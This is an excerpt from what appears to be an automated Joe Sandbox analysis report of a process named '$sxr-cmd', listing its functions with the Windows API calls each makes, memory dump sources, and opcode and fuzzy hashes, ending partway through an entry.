Instruction Fuzzy Hash: 72E06566618A40CBD760AF50E45106AF7A0FB8D358FC41525D99D83764DB3CD25DCB18

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5829A0 Relevance: 3.2, APIs: 2, Instructions: 186memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002155A582A42
LoadLibraryA.KERNELBASE ref: 000002155A582AC9

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 10d3d97f47581953e9336e15441d5fba1325b7f5869809364f5b99c69c15253a
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 63614632702A62E7EF58CF15C454BBD7792FBA4B98FE48021EA2907785DB38D856C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ECD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
Part of subcall function 00007FF7137ECD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

Part of subcall function 00007FF7137F0A6C: _wcsnicmp.MSVCRT ref: 00007FF7137F0AFE
Part of subcall function 00007FF7137F0A6C: memset.MSVCRT ref: 00007FF7137F0B37
Part of subcall function 00007FF7137F0A6C: wcschr.MSVCRT ref: 00007FF7137F0B91
Part of subcall function 00007FF7137F0A6C: wcsrchr.MSVCRT ref: 00007FF7137F0C14

GetConsoleTitleW.KERNELBASE ref: 00007FF7137F5B52

Part of subcall function 00007FF7137F4224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F4297
Part of subcall function 00007FF7137F4224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F42D7
Part of subcall function 00007FF7137F4224: memset.MSVCRT ref: 00007FF7137F42FD
Part of subcall function 00007FF7137F4224: memset.MSVCRT ref: 00007FF7137F4368
Part of subcall function 00007FF7137F4224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F4380
Part of subcall function 00007FF7137F4224: wcsrchr.MSVCRT ref: 00007FF7137F43E6
Part of subcall function 00007FF7137F4224: lstrcmpW.KERNELBASE ref: 00007FF7137F4401

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF7137F5BC7

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocateInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
String ID:
API String ID: 346765439-0
Opcode ID: 722cf97fa004147e5ee739933938ffa1972c5aff5cae2a5bc049a9bf08618945
Instruction ID: a1d2dae8c47702359222567d1c1b3779d8c7358e5cfd2a390cee448d531d1095
Opcode Fuzzy Hash: 722cf97fa004147e5ee739933938ffa1972c5aff5cae2a5bc049a9bf08618945
Instruction Fuzzy Hash: C631B720A0CE4286FBA0B711A4D05BDE295BF8DBA0FC45135E95E67B85DE3CE50EC720

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BD1D0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000002155A5BD1E9
FreeEnvironmentStringsW.KERNEL32 ref: 000002155A5BD2AD

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction ID: 0fe03692866b091e5092c9475ab346809a175269e1f7387d993380b02d75f7ac
Opcode Fuzzy Hash: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction Fuzzy Hash: 4821C532B14FA4D1EE609F12A404699E6A6F7E5BD5F884264BE8B23BD8DF3CC4558300

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BDA1C Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000002155A5BDA95
GetFileType.KERNEL32 ref: 000002155A5BDAAB

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction ID: 49b664d94c1fc750bc92424658060722a54c15f961c8e3efcfa5a5484001a480
Opcode Fuzzy Hash: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction Fuzzy Hash: 92310C33518F68E1EF648F1484986A86B52F396BB8FA80389FB5B073E0CB38D455C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F3A0C Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,?,?,00007FF71380EAC5,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137F3A56

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
Instruction ID: dedb54be454d3084b282164fb4930f670bb47e07ffe3e8588aff4bf307190bd5
Opcode Fuzzy Hash: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
Instruction Fuzzy Hash: 4001C420E18E43C9F7D4A716A4D0075E6A4FF8CB60BD08530F52EA2654DE2CE49DC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F9A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF7137F9A86
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7137F9A97

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmalloc
String ID:
API String ID: 1412018758-0
Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
Instruction ID: b5b9a0c0e91dfb1e0db6e8d431797c243729f9133cb4160b088edab4304e2f78
Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
Instruction Fuzzy Hash: 7CE0ED41F59A0795FFD47B6268C117492587F5E760F982430DD2D25382EE2DE0ADC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ECD90 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction ID: 83f3e8ccc5af8d59f5736d6db141a26db14aed6456b9678c0eae149276cac6c3
Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction Fuzzy Hash: F7F03136A18A42C6EB84AB15F880478FBA4FB89B60B989534D94E27354DF3DD459CB30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF7137E6F97), ref: 00007FF7137F550C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: DefaultLangUser
String ID:
API String ID: 768647712-0
Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction ID: 111fff8b74461db7647460406a80ecbfe752fc6d1c86022d92af90161a2634c1
Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction Fuzzy Hash: B4E0C2A2D08A53CAF6D43B41E0C13B4995BEB6D7B2FC44031C61D232C0892D684D6228

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BB900 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 000002155A5BB955

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: 1183d4c8e5f91b8d5b08d1752002abfefcdf8ca00ede9c09bf98eee4268f142c
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: 42F06DB4702E3CF8FF545B629459BD512825BEAB8AF8D84B06D0B963D1DBACC4498210

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BAEAC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 000002155A5BAEEA

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b3636270dc334481da2e70e1418cf83bfb8279ff22d86b5c5f9da6d6c2604517
Instruction ID: e4e055e86d0b3abcb4c9d6a8125e652f469975940fa147d48520d8cf319615ff
Opcode Fuzzy Hash: b3636270dc334481da2e70e1418cf83bfb8279ff22d86b5c5f9da6d6c2604517
Instruction Fuzzy Hash: 8BF0A730701E7CF6FE641B71681DFE921829BE67AAFC846A0BE27467C1DB2CC4898111

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BB978 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000002155A5BB98E

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: 11f54a3354a1fa5c283f125ff392d847d506006def22c0e856dedc11eabc91ba
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: 51D0A9B0A02C68EAFE2897A2681DBF001939BF578EF8480A0BD0A82251AB1044990240

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F855C Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF7137F8577

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0adb59561bc91aea81df1b12ca5df08c492be0d1d29f7ab664d8fc4c3399ffab
Instruction ID: 5095bfff5ab31eee1e04145088666890b91a178154ff0676ac7847600af877ef
Opcode Fuzzy Hash: 0adb59561bc91aea81df1b12ca5df08c492be0d1d29f7ab664d8fc4c3399ffab
Instruction Fuzzy Hash: F9D0C921A06B41C6EE85670594893B8A6A0BB49B05FD84534CA1D1A361DF7990AA8710

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF713807F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713807F44
_get_osfhandle.MSVCRT ref: 00007FF713807F5C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713807F9E
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713807FFF
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808020
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808036
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808061
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808075
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138080D6
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138080EA
_wcsnicmp.MSVCRT ref: 00007FF713808177
_wcsnicmp.MSVCRT ref: 00007FF71380819A
_wcsnicmp.MSVCRT ref: 00007FF7138081BD
_wcsnicmp.MSVCRT ref: 00007FF7138081DC
_wcsnicmp.MSVCRT ref: 00007FF7138081FB
_wcsnicmp.MSVCRT ref: 00007FF71380821A
_wcsnicmp.MSVCRT ref: 00007FF713808239
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808291
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138082D7
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138082FB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF71380831A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808364
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808378
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF71380839A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138083AE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF7138083E6
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808403
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF713808418

Strings

mkdir , xrefs: 00007FF713808213
chdir , xrefs: 00007FF7138081D5
cd , xrefs: 00007FF713808170
rmdir , xrefs: 00007FF7138081F4
md , xrefs: 00007FF7138081B6
pushd , xrefs: 00007FF713808232
rd , xrefs: 00007FF713808193

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 3637805771-3100821235
Opcode ID: d74073052f036fb2306f86013512fc5dd735d89bb1ebe6582b1f79b80fa44d3e
Instruction ID: 1a640389fecd3ac39cdc59ca67237063212c6bda4adec4f6f3e4aac03c49bf42
Opcode Fuzzy Hash: d74073052f036fb2306f86013512fc5dd735d89bb1ebe6582b1f79b80fa44d3e
Instruction Fuzzy Hash: 02E19331A14E52CAE790AF21E400179FAE1FB89BA4B859230CD1E67794DF7EA45CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E7650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E76E5

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

_get_osfhandle.MSVCRT ref: 00007FF7137E7745
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E7759
_get_osfhandle.MSVCRT ref: 00007FF7137E776C
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E7783
_get_osfhandle.MSVCRT ref: 00007FF7137E77A3
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E77C9
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E7808
wcsrchr.MSVCRT ref: 00007FF7138049BE
_wcsnicmp.MSVCRT ref: 00007FF713804A02
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF713804A81

Part of subcall function 00007FF7137F01B8: _get_osfhandle.MSVCRT ref: 00007FF7137F01C4
Part of subcall function 00007FF7137F01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F01D6

Strings

DPATH, xrefs: 00007FF71380499A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
String ID: DPATH
API String ID: 95024817-2010427443
Opcode ID: 4eba62a14e43abc6af58f84d659d5bf88ed7609b6ae651bb9c78c46a9deec993
Instruction ID: 21ba95c4a299ed6acff317cb1e4ccdb7d1070e6236b727445d1336d03edfbab2
Opcode Fuzzy Hash: 4eba62a14e43abc6af58f84d659d5bf88ed7609b6ae651bb9c78c46a9deec993
Instruction Fuzzy Hash: D612C932A18E828AE7A0AF159440179FBE1FB89764F844235EA5E77794DF3DD41CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E5240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON

Download Yara Rule

Strings

:, xrefs: 00007FF713803261
[..], xrefs: 00007FF713802FB5
[...], xrefs: 00007FF713803013
..., xrefs: 00007FF713802C8C
[.], xrefs: 00007FF713803128

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

